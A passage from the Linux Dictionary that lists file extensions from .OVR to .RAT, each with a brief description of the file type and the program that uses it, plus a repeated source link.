Overlay file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OVR**
Overlay file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P**
Application parameter file (ReaGeniX code generator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P**
Picture file (APPLAUSE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P**
Source code (Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P10**
Plot 10 drawing (Tektronics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P16**
16 Channel Music file (ProTracker 16) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P22**
Patch file (Patch 22) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P3**

Linux Dictionary

- Project Planner file (Primavera) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P65**
- Document file (PageMaker 6.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .P7C**
- Digital ID file (MIME) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PA1**
- Worktable (PageAhead) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

- Personal Address Book (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAC**
- Image (Stad) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAC**
- Package file (Sound Blaster Studio II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAD**
- Keypad definition (Telemate) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAK**
- Compressed archive (PAK) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAK**
- WAD <http://WhatIs.techtarget.com/definition/0,,sid9_gci213332,00.html> file (Quake) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAL**
- A compressed file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAL**
- Color palette (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAN**
- Printer specific file (CorelDRAW) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAQ**
- Password encrypted zip file (Hewlett-Packard) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAR**
- Parameter file (Fractint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAR**
- Parts application (Digitalk PARTS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAR**
- Permanent output file (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAS**

Linux Dictionary

- Source code file (Borland Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAT**
exePatch utility used for Warcraft2 (WarHack) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAT**
Hatch pattern file (DataCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAT**
Patch file (Advanced Gravis Ultrasound/Forte Technologies) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PAT**
Pattern file (CorelDRAW) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .pattern**
colors From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PB**
Fax (FAXability Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PB**
Phone book (WinFax Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PB**
Setup file (PixBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PB1**
Document (First Publisher for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBA**
Source code file (Powerbasic BASIC) (Genus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBD**
Dynamic library, an alternative to a native
<http://searchVB.techtarget.com/sDefinition/0,,sid8_gci212624,00.html> DLL
<http://searchWin2000.techtarget.com/sDefinition/0,,sid1_gci213902,00.html> (PowerBuilder) From
Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBD**
Phone book (FaxNOW!-Faxit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBF**
Turtle Beach Pinnacle Bank File From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBI**
Include file (PowerBasic) (Genus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBI**
Profiler binary input file (Microsoft Source Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBK**
Microsoft Phonebook From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .PBL**
Library file used in a development environment (PowerBuilder) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBL**
PowerBasic library (Genus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .pbm**
PBM image file format. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBM**
Planar bitmap graphic (XLib) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBM**
Portable bitmap graphic From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBO**
Profiler binary output (Microsoft Source Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBR**
Resource file (PowerBuilder) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PBT**
Profiler binary table (Microsoft Source Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PC**
Text file (IBM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PC3**
Custom palette (Harvard Graphics 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PC8**
Ascii text IBM8 character set (NewWave Write) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PCB**
Application data file (Microsoft Powerpoint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PCC**
Cutout picture vector graphics (PC Paintbrush) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PCD**
Image (Kodak Photo-CD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PCD**
P-Code compiled test scripts as in Microsoft Test and Microsoft Visual Test From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PCE**
Maps Eudora mailbox names to DOS filenames From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .pcf**
PCF image file---intermediate representation for fonts. X Window System font. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.PCF

Profiler command file (Microsoft Source Profiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCH

Patch file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCH

Precompiled header file (Microsoft C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCI

PCI Miniport file (Microsoft Windows System file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCJ

Multimedia authoring tool graphics (IBM Linkaway-Live) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCK

Pickfile (Turbo Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCL

<http://WhatIs.techtarget.com/definition/0,,sid9_gci214283,00.html> From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCM

Audio file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCM

PCM file (OKI MSM6376 Synthesizer Chip) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCP

Live Update Pro file (Symantec) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCS

Animation (PICS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCS

Picture storage file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCT

PICT drawing (Macintosh) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCW

Text file (PC Write) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PCX

PC Paintbrush bitmap (ZSoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.pcx

PCX image file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PDA

Bitmap graphics From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PDB

Linux Dictionary

- Data file (TACT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDB**
Database file (3Com PalmPilot) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDB**
Physical model backup file (PowerDesigner) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDD**
Graphic image that can be opened with Paint Shop Pro and Adobe PhotoDeluxe From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDF**
<http://searchMobileComputing.techtarget.com/sDefinition/0,,sid40_gci214288,00.html> Portable Document file (Adobe Acrobat) (displayable with a Web browser) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDF**
Definition File From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .pdf**
Formatted document similar to PostScript or dvi. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDF**
Graphics file (ED-SCAN 24bit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDF**
Printer Definition File (Netware) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDL**
Project description language file (Borland C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDM**
Physical model file (PowerDesigner) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDP**
Print Shop Deluxe file (Broderbund) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDQ**
Flowcharting PDQ Lite file (Patton&Patton) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDS**
Hardware assembly source code file (Pldasm) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDS**
Photographic image file (origin not yet identified) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDT**
Database file (ProCite) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDV**
Printer driver (Paintbrush) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDW**

Linux Dictionary

- Document (Professional Draw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PDX**
Database index file (ProCite) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PE3**
Image archive file (QuickViewer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PE3**
Image archive file (Ulead PhotoImpact) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PE4**
Image archive file (Ulead PhotoImpact v.4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PEB**
Program Editor bottom overflow file (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PED**
Program Editor delete save file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PEM**
Program Editor macro (WordPerfect for Windows library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PEQ**
Program Editor print queue file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PER**
Program Editor resident area file (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PES**
Program Editor work space file (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PET**
Program Editor top overflow file (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PF**
Encrypted file (Alladin Systems) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PFA**
Type 3 font (ASCII) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PFB**
Type 1 font (binary) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .pfb**
X Window System font file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PFC**

Bitmap (Adobe Photoshop) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSE

Bitmap graphics (IBM printer Page SEgment) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSF

Outline PostScript printer font (ChiWriter) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSI

A-law audio file (psion) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSM

Sound data file (Epic Pinball) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSM

Studio module (ProTracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSM

Symbol table of IDE (Turbo Pascal) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSP

Image file (PaintShop Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSP

Procedure (Prodea Synergy) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PSR

Report file (PowerSoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PST

Personal Folder File (Microsoft Outlook) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PT3

Device driver (Harvard Graphics 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PT3

Template (PageMaker 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PT4

Template (PageMaker 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PTB

Script file (PubTech BatchWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PTB

Table file (Pro/Engineer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PTD

Table file (Pro/ENGINEER) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .PTL**
Petal file (ASCII version of Microsoft Visual Modeler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PTM**
Macro (PubTech BatchWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PTM**
Music module (MOD) (Polytracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PTR**
QWK reader pointer file (QMail) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PUB**
Document (Microsoft Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PUB**
Public key ring file (PGP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PUB**
Publication (Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PUD**
Map file (WarCraftII) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PUT**
Compressed archive (PUT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PVD**
Script file (Instalit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PVL**
Library file (Instalit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PVT**
Local pointlist (Fidonet) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PW**
Text file (Professional Write) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PWD**
Word document (Microsoft Pocket) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PWL**
Password list file (Microsoft Windows 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PWP**
Image file (a roll of film viewed using Photoworks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .PWP**
Text document (Professional WritePlus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.PWZ

PowerPoint wizard (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PX

Primary database index (Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PXL

Pocket Excel spreadsheet (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PY

python <http://searchEnterpriseLinux.techtarget.com/sDefinition/0,,sid39_gci213538,00.html> Script file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.py

Python program source code. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PY

Saved emessages (YAHOO) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PYC

python <http://searchEnterpriseLinux.techtarget.com/sDefinition/0,,sid39_gci213538,00.html> Compiled script file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PZD

Default settings (Pizazz Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PZO

Overlay file (Pizazz Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PZP

Palette (Pizazz Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PZS

Settings (Pizazz Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PZT

Transfer file (Pizazz Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.PZX

Swap file (Pizazz Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QAD

Document (PF QuickArt) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QAG

Quick Access Group data file (Norton Desktop) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QAP

Application file (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QBE

Linux Dictionary

- Saved query (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QBE**
- Saved Query (Quattro Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QBO**
- Compiled query (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QBS**
- Program file (Microsoft QuickBasic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QBW**
- Spreadsheet data (QuickBooks for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QCP**
- Voice file (Qualcomm Pure Voice) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD0**
- Data file-segment 10 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD1**
- Data file segment 1 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD2**
- Data file segment 2 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD3**
- Data file segment 3 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD3D**
- QuickDraw 3D Metafile (Apple) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD4**
- Data file segment 4 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD5**
- Data file segment 5 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD6**
- Data file segment 6 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD7**
- Data file segmnet 7 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD8**
- Data file segment 8 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QD9**
- Data file segment 9 (Omnis Quartz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QDF**

Linux Dictionary

- Data file (Quicken) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QDK**
Backup of startup files (QEMM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QDT**
Data file from the Quicken UK Accountancy/Tax/Invoice program (QuickBooks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QDV**
Graphics file (Steve Blackstock Giffer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QEF**
Query file (Microsoft Excel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QEL**
Electronic library file (Quicken) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QFL**
Document (FAMILY LAWYER) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QFX**
Fax (QuickLink) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QIC**
Backup file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QIF**
Image (MIME)(QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QIF**
Import file (Quicken) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QLB**
Library file (Microsoft C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QLB**
Library file (Quick) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QLC**
Data (PostScript help file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QLP**
Printer driver (QuickLink) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QM**
Motion file (Quality) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QM4**
Option or services file (QMail 4.x Mail Door) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QPR**

Linux Dictionary

Generated query program (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QPR

Print queue device driver (OS/2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QPX

Compiled query program (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QQT

Qardware definition file (Quick Qard Technology) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QRP

Report builder file (Centura) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QRP

Report file (Liberty for Windows 2.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QRS

Equation Editor support file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QRT

QRT graphics file (Ray Tracer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QRY

Query (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QRY

Query (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QSD

Datafile (Quicken) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QST

Tab file (Quake Spy) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QT

Movie file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QTI

Image file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QTIF

Image file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QTM

Movie file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QTP

Preferences file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.QTS

Linux Dictionary

- Image file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QTS**
PICT image file (Macintosh) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QTX**
Image file (QuickTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QW**
Write program file (Symantec Q&A) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QWK**
Message file (QWK Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QXD**
Data file (Quark Xpress) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QXL**
Element library (Quark Xpress) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .QXT**
Template file (Quark Xpress) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .R**
Ratfor file (FORTRAN Preprocessor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .R**
Resource file (Pegasus Mail) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .R8**
Raw graphics (One byte per pixel) plane one (PicLab) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .R8P**
Pcl 4 bitmap font (Intellifont) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RA**
Sound file (RealAudio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAD**
Radar data file (Radar ViewPoint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAM**
Metafile (RealAudio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAO**
ReadAllOver (YOUiverse) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAR**
RAR compressed archive (Eugene Roshall's format) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAS**

Linux Dictionary

- Bitmap (Sun Raster Images) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .RAT**
